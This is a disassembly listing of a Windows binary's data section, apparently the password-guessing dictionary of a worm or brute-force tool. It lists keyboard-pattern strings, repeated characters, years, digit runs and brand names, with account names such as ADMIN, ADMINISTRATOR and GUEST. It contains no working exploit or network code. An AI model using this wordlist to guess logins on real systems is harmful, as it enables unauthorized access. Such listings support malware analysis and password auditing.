dd offset aChi_0 ; "CHI"
dd offset aChi ; "chi"
dd offset aKor_0 ; "kor"
dd offset aTiger ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota ; "TOYOTA"
dd offset aToyota_0 ; "toyota"
dd offset asc_43362C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ_1 ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB_0 ; "b"
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
dd offset aC_1 ; "c"
dd offset aCc ; "cc"
dd offset aCcc ; "ccc"
dd offset aCccc_0 ; "cccc"
dd offset aCcccc ; "ccccc"
dd offset aCccccc ; "cccccc"
dd offset aCcccccc ; "ccccccc"
dd offset aCccccccc ; "cccccccc"
dd offset aCcccccccc ; "ccccccccc"
dd offset aD ; "d"
dd offset aDd_1 ; "dd"
dd offset aDdd ; "ddd"
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
dd offset aFf ; "ff"
dd offset aFff ; "fff"
dd offset aFfff ; "ffff"
dd offset aFffff ; "fffff"
dd offset aE ; "e"
dd offset aEe ; "ee"
dd offset aEee ; "eee"
dd offset aEeee ; "eeee"
dd offset aEeeee ; "eeeee"
dd offset aEeeeee ; "eeeeee"
dd offset aG ; "g"
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
dd offset aGggg ; "gggg"
dd offset aGgggg ; "ggggg"
dd offset aGggggg ; "gggggg"
dd offset asc_42EDD4 ; "h"
dd offset aHh ; "hh"
dd offset aHhh ; "hhh"
dd offset aHhhh ; "hhhh"
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
dd offset aI_1 ; "i"
dd offset aIi ; "ii"
dd offset aIii ; "iii"
dd offset aIiii ; "iiii"
dd offset aIiiii ; "iiiii"
dd offset aIiiiii ; "iiiiii"
dd offset aJ ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_42ED44 ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM_0 ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN_0 ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP_1 ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU_0 ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_4 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
; ---------------------------------------------------------------------------
cld
jmp short loc_42E941
; ---------------------------------------------------------------------------
align 10h
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
; ---------------------------------------------------------------------------
fsub st(3), st
inc edx
add al, bl
jmp short loc_42E959
; ---------------------------------------------------------------------------
align 4
movsb
test dword ptr [edx+0], offset aWwww ; "wwww"
enter 42EBh, 0
shr bl, 42h
add [ebx+ebp*8-1447FFBEh], bh
inc edx
add [ebx+ebp*8-1453FFBEh], dh
inc edx
add [ebx+ebp*8-1463FFBEh], ah
inc edx
add [eax], ch
loc_42E941: ; CODE XREF: .text:0042E8FDj
db 36h
inc ebx
add [eax-6BFFBD15h], bl
jmp short loc_42E98D
; ---------------------------------------------------------------------------
align 4
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
db 74h
; ---------------------------------------------------------------------------
loc_42E959: ; CODE XREF: .text:0042E915j
jmp short loc_42E99D
; ---------------------------------------------------------------------------
align 4
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
; ---------------------------------------------------------------------------
pop esp
jmp short loc_42E9A9
; ---------------------------------------------------------------------------
align 4
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
; ---------------------------------------------------------------------------
cmp bl, ch
inc edx
add [eax], dh
jmp short loc_42E9B9
; ---------------------------------------------------------------------------
align 4
sub bl, ch
inc edx
add [eax], ah
jmp short loc_42E9C1
; ---------------------------------------------------------------------------
align 10h
dd offset a1qaz ; "1qaz"
; ---------------------------------------------------------------------------
adc bl, ch
inc edx
add [eax], cl
jmp short loc_42E9CD
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_42E98D: ; CODE XREF: .text:0042E949j
jmp short loc_42E9D1
; ---------------------------------------------------------------------------
align 10h
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
db 0E4h
; ---------------------------------------------------------------------------
loc_42E99D: ; CODE XREF: .text:loc_42E959j
jmp far ptr 42h:0EADC0042h
; ---------------------------------------------------------------------------
aam 0EAh
inc edx
add ah, cl
loc_42E9A9: ; CODE XREF: .text:0042E965j
jmp far ptr 42h:0EAC40042h
; ---------------------------------------------------------------------------
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
; ---------------------------------------------------------------------------
lodsb
loc_42E9B9: ; CODE XREF: .text:0042E975j
jmp far ptr 42h:0EAA40042h
; ---------------------------------------------------------------------------
push eax
loc_42E9C1: ; CODE XREF: .text:0042E97Dj
out dx, eax
inc edx
add [edx+ebp*8+36DC0042h], dl
inc ebx
add ah, cl
loc_42E9CD: ; CODE XREF: .text:0042E989j
db 36h
inc ebx
; ---------------------------------------------------------------------------
db 0
db 44h
; ---------------------------------------------------------------------------
loc_42E9D1: ; CODE XREF: .text:loc_42E98Dj
pop ds
inc ebx
add [ebp+ebp-1573FFBDh], ch
inc edx
add [eax-1BFFBCCDh], bh
db 65h
inc edx
add [edx+ebp*8-1587FFBEh], al
inc edx
add [eax-16h], dh
inc edx
add [ebx+esi+43h], bh
add [eax+33h], dl
inc ebx
add [esp+esi], bh
inc ebx
add [eax-16h], ch
inc edx
add [esp+esi+43h], dh
add al, al
xor eax, [ebx+0]
inc esp
xor al, 43h
add [eax-16h], ah
inc edx
add [eax-16h], bl
inc edx
add ah, bl
xor eax, [ebx+0]
push esp
and eax, [ebx+0]
push eax
jmp far ptr 42h:0EA480042h
; ---------------------------------------------------------------------------
dd offset aUser_0 ; "USER"
dd offset aBackup_0 ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset byte_43B658
dd 0
dword_42EA3C dd 10h ; sub_40CD3A+B03r ...
aBackup_0 db 'BACKUP',0 ; DATA XREF: .text:0042EA28o
align 4
aAccess_0 db 'ACCESS',0
align 10h
aTest_0 db 'TEST',0
align 4
aOwner_1 db 'OWNER',0
align 10h
aDemo_0 db 'DEMO',0
align 4
aLadeda db 'ladeda',0
align 10h
aTemp db 'TEMP',0
align 4
aPassword_0 db 'PASSWORD',0
align 4
aAdmin_1 db 'ADMIN',0
align 4
aGuest_1 db 'GUEST',0
align 4
aAdministrato_1 db 'ADMINISTRATOR',0
align 4
a142536 db '142536',0
align 4
a753951 db '753951',0
align 4
a951753 db '951753',0 ; DATA XREF: .text:0042E9B4o
align 4
a159357 db '159357',0 ; DATA XREF: .text:0042E9B0o
align 4
a753159 db '753159',0
align 4
a13579 db '13579',0
align 4
a2684 db '2684',0
align 4
a2486 db '2486',0
align 4
aMnbv db 'mnbv',0
align 4
aMnb db 'mnb',0 ; DATA XREF: .text:0042E998o
a112233 db '112233',0 ; DATA XREF: .text:0042E994o
align 4
a3wsx db '3wsx',0 ; DATA XREF: .text:0042E990o
align 10h
a3edc db '3edc',0
align 4
a2qaz db '2qaz',0
align 10h
a2wsx db '2wsx',0
align 4
a1qaz db '1qaz',0 ; DATA XREF: .text:0042E980o
align 10h
aZzxxcc db 'zzxxcc',0
align 4
aAassdd db 'aassdd',0
align 10h
aQqwwee db 'qqwwee',0
align 4
aQqqwwweee db 'qqqwwweee',0
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: .text:0042E96Co
align 10h
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .text:0042E968o
align 4
aQqww db 'qqww',0
align 4
aAass db 'aass',0 ; DATA XREF: .text:0042E960o
align 4
aZzxx db 'zzxx',0 ; DATA XREF: .text:0042E95Co
align 4
aXxyyzz db 'xxyyzz',0
align 4
aZzzzzz db 'zzzzzz',0 ; DATA XREF: .text:0042E954o
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .text:0042E950o
align 4
aZzzz db 'zzzz',0 ; DATA XREF: .text:0042E94Co
align 4
aZzz db 'zzz',0
aZz db 'zz',0
align 4
aQqqqqq db 'qqqqqq',0
align 4
aQqqqq db 'qqqqq',0
align 4
aQqqq db 'qqqq',0
align 4
aQqq db 'qqq',0
aQq db 'qq',0
align 4
aQ:
unicode 0, <q>,0
aWwwwww db 'wwwwww',0
align 4
aWwwww db 'wwwww',0
align 10h
aWwww db 'wwww',0 ; DATA XREF: .text:0042E919o
align 4
aWw db 'ww',0
align 4
aW:
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: .text:0042E90Co
align 4
aVvvvv db 'vvvvv',0 ; DATA XREF: .text:0042E908o
align 10h
aVvvv db 'vvvv',0 ; DATA XREF: .text:0042E904o
align 4
aVvv db 'vvv',0 ; DATA XREF: sub_40CD3A+25AAo
; .text:0042E900o
aVv db 'vv',0
align 10h
aV: ; DATA XREF: .text:0042E8F8o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: .text:0042E8F4o
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: .text:0042E8F0o
align 4
aYyyy db 'yyyy',0 ; DATA XREF: .text:0042E8ECo
align 4
aYyy db 'yyy',0 ; DATA XREF: .text:0042E8E8o
aYy db 'yy',0 ; DATA XREF: .text:0042E8E4o
align 4
aY: ; DATA XREF: .text:0042E8E0o
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: .text:0042E8DCo
align 10h
aTtttt db 'ttttt',0 ; DATA XREF: .text:0042E8D8o
align 4
aTttt db 'tttt',0 ; DATA XREF: .text:0042E8D4o
align 10h
aTtt db 'ttt',0 ; DATA XREF: .text:0042E8D0o
aTt db 'tt',0 ; DATA XREF: .text:0042E8CCo
align 4
aT: ; DATA XREF: .text:0042E8C8o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: .text:0042E8C4o
align 4
aSssss db 'sssss',0 ; DATA XREF: .text:0042E8C0o
align 4
aSsss db 'ssss',0 ; DATA XREF: .text:0042E8BCo
align 4
aSss db 'sss',0 ; DATA XREF: .text:0042E8B8o
aSs db 'ss',0 ; DATA XREF: .text:0042E8B4o
align 4
aS_4: ; DATA XREF: .text:0042E8B0o
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: .text:0042E8ACo
align 4
aUuuuu db 'uuuuu',0 ; DATA XREF: .text:0042E8A8o
align 10h
aUuuu db 'uuuu',0 ; DATA XREF: .text:0042E8A4o
align 4
aUuu db 'uuu',0 ; DATA XREF: .text:0042E8A0o
aUu db 'uu',0 ; DATA XREF: .text:0042E89Co
align 10h
aU_0: ; DATA XREF: .text:0042E898o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: .text:0042E894o
align 4
aPpppp db 'ppppp',0 ; DATA XREF: .text:0042E890o
align 4
aPppp db 'pppp',0 ; DATA XREF: .text:0042E88Co
align 4
aPpp db 'ppp',0 ; DATA XREF: .text:0042E888o
aPp db 'pp',0 ; DATA XREF: .text:0042E884o
align 4
aP_1: ; DATA XREF: .text:0042E880o
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: .text:0042E87Co
align 10h
aOoooo db 'ooooo',0 ; DATA XREF: .text:0042E878o
align 4
aOooo db 'oooo',0 ; DATA XREF: .text:0042E874o
align 10h
aOoo db 'ooo',0 ; DATA XREF: .text:0042E870o
aOo db 'oo',0 ; DATA XREF: .text:0042E86Co
align 4
aO: ; DATA XREF: .text:0042E868o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: .text:0042E864o
align 4
aNnnnn db 'nnnnn',0 ; DATA XREF: .text:0042E860o
align 4
aNnnn db 'nnnn',0 ; DATA XREF: .text:0042E85Co
align 4
aNnn db 'nnn',0 ; DATA XREF: .text:0042E858o
aNn db 'nn',0 ; DATA XREF: .text:0042E854o
align 4
aN_0: ; DATA XREF: .text:0042E850o
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: .text:0042E84Co
align 4
aMmmmm db 'mmmmm',0 ; DATA XREF: .text:0042E848o
align 10h
aMmmm db 'mmmm',0 ; DATA XREF: .text:0042E844o
align 4
aMmm db 'mmm',0 ; DATA XREF: .text:0042E840o
aMm db 'mm',0 ; DATA XREF: .text:0042E83Co
align 10h
aM_0: ; DATA XREF: .text:0042E838o
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: .text:0042E834o
align 4
aLllll db 'lllll',0 ; DATA XREF: .text:0042E830o
align 4
aLlll db 'llll',0 ; DATA XREF: .text:0042E82Co
align 4
aLll db 'lll',0 ; DATA XREF: .text:0042E828o
aLl db 'll',0 ; DATA XREF: .text:0042E824o
align 4
asc_42ED44: ; DATA XREF: .text:0042E820o
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: .text:0042E81Co
align 10h
aKkkkk db 'kkkkk',0 ; DATA XREF: .text:0042E818o
align 4
aKkkk db 'kkkk',0 ; DATA XREF: .text:0042E814o
align 10h
aKkk db 'kkk',0 ; DATA XREF: .text:0042E810o
aKk db 'kk',0 ; DATA XREF: .text:0042E80Co
align 4
aK: ; DATA XREF: .text:0042E808o
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: .text:0042E804o
align 4
aJjjjj db 'jjjjj',0 ; DATA XREF: .text:0042E800o
align 4
aJjjj db 'jjjj',0 ; DATA XREF: .text:0042E7FCo
align 4
aJjj db 'jjj',0 ; DATA XREF: .text:0042E7F8o
aJj db 'jj',0 ; DATA XREF: .text:0042E7F4o
align 4
aJ: ; DATA XREF: .text:0042E7F0o
unicode 0, <j>,0
aIiiiii db 'iiiiii',0 ; DATA XREF: .text:0042E7ECo
align 4
aIiiii db 'iiiii',0 ; DATA XREF: .text:0042E7E8o
align 10h
aIiii db 'iiii',0 ; DATA XREF: .text:0042E7E4o
align 4
aIii db 'iii',0 ; DATA XREF: .text:0042E7E0o
aIi db 'ii',0 ; DATA XREF: .text:0042E7DCo
align 10h
aI_1: ; DATA XREF: .text:0042E7D8o
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0 ; DATA XREF: .text:0042E7D4o
align 4
aHhhhh db 'hhhhh',0 ; DATA XREF: .text:0042E7D0o
align 4
aHhhh db 'hhhh',0 ; DATA XREF: .text:0042E7CCo
align 4
aHhh db 'hhh',0 ; DATA XREF: .text:0042E7C8o
aHh db 'hh',0 ; DATA XREF: .text:0042E7C4o
align 4
asc_42EDD4: ; DATA XREF: .text:0042E7C0o
unicode 0, <h>,0
aGggggg db 'gggggg',0 ; DATA XREF: .text:0042E7BCo
align 10h
aGgggg db 'ggggg',0 ; DATA XREF: .text:0042E7B8o
align 4
aGggg db 'gggg',0 ; DATA XREF: .text:0042E7B4o
align 10h
aGgg db 'ggg',0 ; DATA XREF: .text:0042E7B0o
aGg db 'gg',0 ; DATA XREF: .text:0042E7ACo
align 4
aG: ; DATA XREF: .text:0042E7A8o
unicode 0, <g>,0
aEeeeee db 'eeeeee',0 ; DATA XREF: .text:0042E7A4o
align 4
aEeeee db 'eeeee',0 ; DATA XREF: .text:0042E7A0o
align 4
aEeee db 'eeee',0 ; DATA XREF: .text:0042E79Co
align 4
aEee db 'eee',0 ; DATA XREF: .text:0042E798o
aEe db 'ee',0 ; DATA XREF: .text:0042E794o
align 4
aE: ; DATA XREF: .text:0042E790o
unicode 0, <e>,0
aFffff db 'fffff',0 ; DATA XREF: .text:0042E78Co
align 4
aFfff db 'ffff',0 ; DATA XREF: .text:0042E788o
align 10h
aFff db 'fff',0 ; DATA XREF: .text:0042E784o
aFf db 'ff',0 ; DATA XREF: .text:0042E780o
align 4
aF: ; DATA XREF: .text:0042E77Co
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: .text:0042E778o
align 4
aDddd db 'dddd',0 ; DATA XREF: .text:0042E774o
align 4
aDdd db 'ddd',0 ; DATA XREF: .text:0042E770o
aDd_1 db 'dd',0 ; DATA XREF: .text:0042E76Co
align 4
aD: ; DATA XREF: .text:0042E768o
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0 ; DATA XREF: .text:0042E764o
align 4
aCccccccc db 'cccccccc',0 ; DATA XREF: .text:0042E760o
align 10h
aCcccccc db 'ccccccc',0 ; DATA XREF: .text:0042E75Co
aCccccc db 'cccccc',0 ; DATA XREF: .text:0042E758o
align 10h
aCcccc db 'ccccc',0 ; DATA XREF: .text:0042E754o
align 4
aCccc_0 db 'cccc',0 ; DATA XREF: .text:0042E750o
align 10h
aCcc db 'ccc',0 ; DATA XREF: .text:0042E74Co
aCc db 'cc',0 ; DATA XREF: .text:0042E748o
align 4
aC_1: ; DATA XREF: .text:0042E744o
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .text:0042E740o
align 4
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .text:0042E73Co
align 4
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .text:0042E738o
aBbbbbb db 'bbbbbb',0 ; DATA XREF: .text:0042E734o
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: .text:0042E730o
align 4
aBbbb db 'bbbb',0 ; DATA XREF: .text:0042E72Co
align 4
aBbb db 'bbb',0 ; DATA XREF: .text:0042E728o
aBb db 'bb',0 ; DATA XREF: .text:0042E724o
align 4
aB_0: ; DATA XREF: .text:0042E720o
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: .text:0042E71Co
aEdc db 'edc',0 ; DATA XREF: .text:0042E718o
aWsx db 'wsx',0 ; DATA XREF: .text:0042E714o
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .text:0042E70Co
align 4
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .text:0042E708o
align 4
aAsdfghj db 'asdfghj',0 ; DATA XREF: .text:0042E704o
aAsdfg db 'asdfg',0 ; DATA XREF: .text:0042E6FCo
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .text:0042E6ECo
aZxcvbn db 'zxcvbn',0 ; DATA XREF: .text:0042E6E8o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: .text:0042E6E4o
align 4
aZx db 'zx',0 ; DATA XREF: .text:0042E6D8o
align 10h
aKonyang db 'konyang',0 ; DATA XREF: .text:0042E6D0o
aToyota db 'TOYOTA',0 ; DATA XREF: .text:0042E698o
align 10h
aKor db 'KOR',0 ; DATA XREF: .text:0042E694o
aKor_0 db 'kor',0 ; DATA XREF: .text:0042E68Co
aChi db 'chi',0 ; DATA XREF: .text:0042E688o
aChi_0 db 'CHI',0 ; DATA XREF: .text:0042E684o
aSystem db 'system',0 ; DATA XREF: .text:0042E67Co
align 4
aServices db 'services',0 ; DATA XREF: .text:0042E678o
align 4
aServers db 'servers',0 ; DATA XREF: .text:0042E674o
aServer_0 db 'server',0 ; DATA XREF: .text:0042E66Co
align 4
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .text:0042E664o
align 10h
aQwertyuio db 'qwertyuio',0 ; DATA XREF: .text:0042E660o
align 4
aQwertyui db 'qwertyui',0 ; DATA XREF: .text:0042E65Co
align 4
aQwertyu db 'qwertyu',0 ; DATA XREF: .text:0042E658o
aQw db 'qw',0 ; DATA XREF: .text:0042E644o
align 4
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .text:0042E638o
align 10h
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .text:0042E634o
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .text:0042E630o
aAaaaaa db 'aaaaaa',0 ; DATA XREF: .text:0042E62Co
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: .text:0042E628o
align 4
aAaaa db 'aaaa',0 ; DATA XREF: .text:0042E624o
align 4
aAa db 'aa',0 ; DATA XREF: .text:0042E61Co
align 10h
aNokia_0 db 'NOKIA',0 ; DATA XREF: .text:0042E610o
align 4
aSex db 'SEX',0 ; DATA XREF: .text:0042E60Co
aCreative db 'CREATIVE',0 ; DATA XREF: .text:0042E608o
align 4
aDisc_0 db 'DISC',0 ; DATA XREF: .text:0042E604o
align 10h
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .text:0042E600o
align 4
aMaster_0 db 'MASTER',0 ; DATA XREF: .text:0042E5FCo
align 4
aSony_0 db 'SONY',0 ; DATA XREF: .text:0042E5F8o
align 4
aSamsung db 'samsung',0 ; DATA XREF: .text:0042E5F4o
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .text:0042E5F0o
aSony db 'sony',0 ; DATA XREF: .text:0042E5ECo
align 4
a7654321 db '7654321',0 ; DATA XREF: .text:0042E5E8o
a4321 db '4321',0 ; DATA XREF: .text:0042E5DCo
align 4
a321 db '321',0 ; DATA XREF: .text:0042E5D8o
a2006 db '2006',0 ; DATA XREF: .text:0042E5D0o
align 10h
a2005 db '2005',0 ; DATA XREF: .text:0042E5CCo
align 4
a2004 db '2004',0 ; DATA XREF: .text:0042E5C8o
align 10h
a2001 db '2001',0 ; DATA XREF: .text:0042E5BCo
align 4
a2000 db '2000',0 ; DATA XREF: .text:0042E5B8o
align 10h
a1999 db '1999',0 ; DATA XREF: .text:0042E5B4o
align 4
a1998 db '1998',0 ; DATA XREF: .text:0042E5B0o
align 10h
a1997 db '1997',0 ; DATA XREF: .text:0042E5ACo
align 4
a1996 db '1996',0 ; DATA XREF: .text:0042E5A8o
align 10h
a1995 db '1995',0 ; DATA XREF: .text:0042E5A4o
align 4
a1994 db '1994',0 ; DATA XREF: .text:0042E5A0o
align 10h
a1993 db '1993',0 ; DATA XREF: .text:0042E59Co
align 4
a1992 db '1992',0 ; DATA XREF: .text:0042E598o
align 10h
a1991 db '1991',0 ; DATA XREF: .text:0042E594o
align 4
a1990 db '1990',0 ; DATA XREF: .text:0042E590o
align 10h
a1989 db '1989',0 ; DATA XREF: .text:0042E58Co
align 4
a1988 db '1988',0 ; DATA XREF: .text:0042E588o
align 10h
a1987 db '1987',0 ; DATA XREF: .text:0042E584o
align 4
a1986 db '1986',0 ; DATA XREF: .text:0042E580o
align 10h
a1985 db '1985',0 ; DATA XREF: .text:0042E57Co
align 4
a1984 db '1984',0 ; DATA XREF: .text:0042E578o
align 10h
a1983 db '1983',0 ; DATA XREF: .text:0042E574o
align 4
a1982 db '1982',0 ; DATA XREF: .text:0042E570o
align 10h
a1981 db '1981',0 ; DATA XREF: .text:0042E56Co
align 4
a1980 db '1980',0 ; DATA XREF: .text:0042E568o
align 10h
a1979 db '1979',0 ; DATA XREF: .text:0042E564o
align 4
a1978 db '1978',0 ; DATA XREF: .text:0042E560o
align 10h
a1977 db '1977',0 ; DATA XREF: .text:0042E55Co
align 4
a1976 db '1976',0 ; DATA XREF: .text:0042E558o
align 10h
a1975 db '1975',0 ; DATA XREF: .text:0042E554o
align 4
a1974 db '1974',0 ; DATA XREF: .text:0042E550o
align 10h
a1973 db '1973',0 ; DATA XREF: .text:0042E54Co
align 4
a1972 db '1972',0 ; DATA XREF: .text:0042E548o
align 10h
a1971 db '1971',0 ; DATA XREF: .text:0042E544o
align 4
a1970 db '1970',0 ; DATA XREF: .text:0042E540o
align 10h
a1969 db '1969',0 ; DATA XREF: .text:0042E53Co
align 4
a1968 db '1968',0 ; DATA XREF: .text:0042E538o
align 10h
a1967 db '1967',0 ; DATA XREF: .text:0042E534o
align 4
a1966 db '1966',0 ; DATA XREF: .text:0042E530o
align 10h
a1965 db '1965',0 ; DATA XREF: .text:0042E52Co
align 4
a1964 db '1964',0 ; DATA XREF: .text:0042E528o
align 10h
a1963 db '1963',0 ; DATA XREF: .text:0042E524o
align 4
a1962 db '1962',0 ; DATA XREF: .text:0042E520o
align 10h
a1961 db '1961',0 ; DATA XREF: .text:0042E51Co
align 4
a1960 db '1960',0 ; DATA XREF: .text:0042E518o
align 10h
a1959 db '1959',0 ; DATA XREF: .text:0042E514o
align 4
a1958 db '1958',0 ; DATA XREF: .text:0042E510o
align 10h
a1957 db '1957',0 ; DATA XREF: .text:0042E50Co
align 4
a1956 db '1956',0 ; DATA XREF: .text:0042E508o
align 10h
a1955 db '1955',0 ; DATA XREF: .text:0042E504o
align 4
a1954 db '1954',0 ; DATA XREF: .text:0042E500o
align 10h
a1953 db '1953',0 ; DATA XREF: .text:0042E4FCo
align 4
a1952 db '1952',0 ; DATA XREF: .text:0042E4F8o
align 10h
a1234qwe db '1234qwe',0 ; DATA XREF: .text:0042E4F4o
a1234asd db '1234asd',0 ; DATA XREF: .text:0042E4F0o
a1234abc db '1234abc',0 ; DATA XREF: .text:0042E4ECo
a123qwer db '123qwer',0 ; DATA XREF: .text:0042E4D8o
a12qwe db '12qwe',0 ; DATA XREF: .text:0042E4D4o
align 4
a12asd db '12asd',0 ; DATA XREF: .text:0042E4D0o
align 10h
a12abc db '12abc',0 ; DATA XREF: .text:0042E4CCo
align 4
a12qwer db '12qwer',0 ; DATA XREF: .text:0042E4C8o
align 10h
a1qwe db '1qwe',0 ; DATA XREF: .text:0042E4C4o
align 4
a1asd db '1asd',0 ; DATA XREF: .text:0042E4C0o
align 10h
a1abc db '1abc',0 ; DATA XREF: .text:0042E4BCo
align 4
a1qwer db '1qwer',0 ; DATA XREF: .text:0042E4B8o
align 10h
a1020 db '1020',0 ; DATA XREF: .text:0042E474o
align 4
a0258 db '0258',0 ; DATA XREF: .text:0042E470o
align 10h
a8520 db '8520',0 ; DATA XREF: .text:0042E46Co
align 4
a987 db '987',0 ; DATA XREF: .text:0042E468o
a789 db '789',0 ; DATA XREF: .text:0042E464o
a654 db '654',0 ; DATA XREF: .text:0042E460o
a456 db '456',0 ; DATA XREF: .text:0042E45Co
a1122 db '1122',0 ; DATA XREF: .text:0042E458o
align 10h
a0147 db '0147',0 ; DATA XREF: .text:0042E454o
align 4
a7410 db '7410',0 ; DATA XREF: .text:0042E450o
align 10h
a9999999999 db '9999999999',0 ; DATA XREF: .text:0042E448o
align 4
a999999999 db '999999999',0 ; DATA XREF: .text:0042E444o
align 4
a99999999 db '99999999',0 ; DATA XREF: .text:0042E440o
align 4
a9999999 db '9999999',0 ; DATA XREF: .text:0042E43Co
a999999 db '999999',0 ; DATA XREF: .text:0042E438o
align 4
a99999 db '99999',0 ; DATA XREF: .text:0042E434o
align 4
a9999 db '9999',0 ; DATA XREF: .text:0042E430o
align 4
a999 db '999',0 ; DATA XREF: .text:0042E42Co
